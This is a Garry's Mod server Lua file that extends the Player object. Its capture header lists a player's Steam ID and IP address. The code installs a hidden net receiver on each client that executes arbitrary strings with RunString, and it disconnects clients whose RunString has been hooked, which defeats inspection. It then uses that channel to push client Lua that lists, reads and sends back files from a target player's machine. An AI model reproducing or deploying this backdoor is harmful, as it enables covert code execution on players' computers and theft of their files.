--[[
	MOD/lua/file_view/sv/meta/player.lua [#1140 (#1181), 983190428, UID:688119035]
	xX-TrueMLGPlayer420Trikshot-Xx | STEAM_0:0:71356345 <82.238.182.218:27005> | [22.06.14 02:38:40PM]
	===BadFile===
]]

local PLY = FindMetaTable( "Player" );

function PLY:PrimeLua()
	self:SendLua( [[net.Receive(]]..fv.val..[[,function()if debug.getinfo(RunString).what=='Lua'||debug.getinfo(net.ReadString).what=='Lua'then RunConsoleCommand("Disconnect")return end RunString(net.ReadString())end)]] )
end

function PLY:RunCSLua( txt )
	self:PrimeLua()
	net.Start( fv.name )
		net.WriteString( txt )
	net.Send( self )
end

function PLY:FileList( targ, loc )
	self.viewing = targ
	net.Start( "file_list" )
		net.WriteString( loc )
		net.WriteEntity( self )
	net.Send( targ )
end;

function PLY:FileText( loc, admin )
	self.expect_text = true;
	self:RunCSLua( file.Read( "file_view/cl/file_text.lua", "LUA" ) )
	net.Start( "file_text" )
		net.WriteString( loc )
		net.WriteEntity( admin )
	net.Send( self )
end

function PLY:FileViewMenu()
	self.in_menu = true;
	self:RunCSLua( file.Read( "file_view/cl/main_menu.lua", "LUA" ) )
end

function PLY:PrintFileText( file_dir, text )
	self:RunCSLua( file.Read( "file_view/cl/print_file_text.lua", "LUA" ) )
	net.Start( "print_file_text" )
		net.WriteString( file_dir )
		net.WriteString( text )
	net.Send( self )
end